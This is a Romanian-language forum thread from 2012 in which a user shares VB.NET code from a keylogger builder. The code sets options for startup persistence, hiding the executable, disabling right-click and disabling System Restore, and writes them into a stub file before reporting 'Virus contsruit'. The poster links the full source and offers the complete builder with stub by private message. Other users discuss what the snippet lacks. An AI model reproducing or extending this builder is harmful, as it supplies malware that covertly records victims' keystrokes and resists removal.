raynor009 Posted January 30, 2012 Report Posted January 30, 2012 (edited) Salut, astazi in timp ce ma uitam peste niste programe vechi am de peste un keylogger pe care il facusem cu mult timp in urma. Asa ca am sa va arat cateva fragmente de cod care s-ar putea sa va fie de folos in viitor .Sa va arat ceva simplu:Imports System.IOPublic Class Form1 Dim R009, tbox1 As String Const raynor009 = "hacer :D" Dim strup, hideexe, rclick, syres As Boolean Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If CheckBox1.Checked = True Then [COLOR="#00FF00"]'Se adauga la startup daca este setat ca si true[/COLOR] strup = True Else : strup = False End If If CheckBox2.Checked = True Then [COLOR="#00FF00"]'Ascunde executabilul dupa ce a fost pornit[/COLOR] hideexe = True Else : hideexe = False End If If CheckBox3.Checked = True Then [COLOR="#00FF00"]'Dezeactivea click dreapta.[/COLOR] rclick = True Else : rclick = False End If If CheckBox4.Checked = True Then [COLOR="#00FF00"]'Dezactiveaza system restore.[/COLOR] syres = True Else : syres = False End If [COLOR="#00FF00"]' Aiic vine partea cand construim programul[/COLOR] FileOpen(1, Application.StartupPath & "\" & TextBox1.Text, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) FilePut(1, R009 & raynor009 & tbox1 & raynor009 & strup & raynor009 & hideexe & raynor009 & rclick & raynor009 & syres & raynor009) FileClose(1) [COLOR="#00FF00"]'Un Simplu mesaj care ne avertizeaza ca programul a fost construit cu succes.[/COLOR] MsgBox("Virus contsruit.", MsgBoxStyle.Information, "Succes") End SubSi c-am asa se face un program care creeaza keyloggere.Mai jos aveti sursa daca nu va descurcati!WindowsApplication1.rar Edited January 31, 2012 by raynor009 Quote
PassaMan Posted January 31, 2012 Report Posted January 31, 2012 Acolo sunt doar niste linii de ascunderea executabilului dupa rularea lui, si o parte in care se "salveaza" tastele care au fost apasate, dar conectarea dintre server si client nu exista. Daca am gresit , te rog sa ma corectezi. Quote
Fro Posted January 31, 2012 Report Posted January 31, 2012 Categoria se numeste Programare, nu 'Coduri haxx pt sk';Cineva poate invata din aceasta resursa.Felicitari raynor009. Multumim pentru share-uire. Quote
raynor009 Posted January 31, 2012 Author Report Posted January 31, 2012 (edited) Ce intelegeti voi prin snippet? PassaMan said: Acolo sunt doar niste linii de ascunderea executabilului dupa rularea lui, si o parte in care se "salveaza" tastele care au fost apasate, dar conectarea dintre server si client nu exista. Daca am gresit , te rog sa ma corectezi.PassaMan daca vrei sursa completa pot sa tio trimit prin PM. Acolo este programul complet cu Stub si mai multe optiuni.... Asta era doar o demonstratie din optiunile pe care le poti adauga la un keylogger sau builder cum vrei tu sa ii spui. Edited January 31, 2012 by raynor009 Quote
me.mello Posted March 21, 2012 Report Posted March 21, 2012 "If CheckBox3.Checked = True Then" apai la cate controale sunt imi umplu vs-ul de "snipeturile tale":)) Quote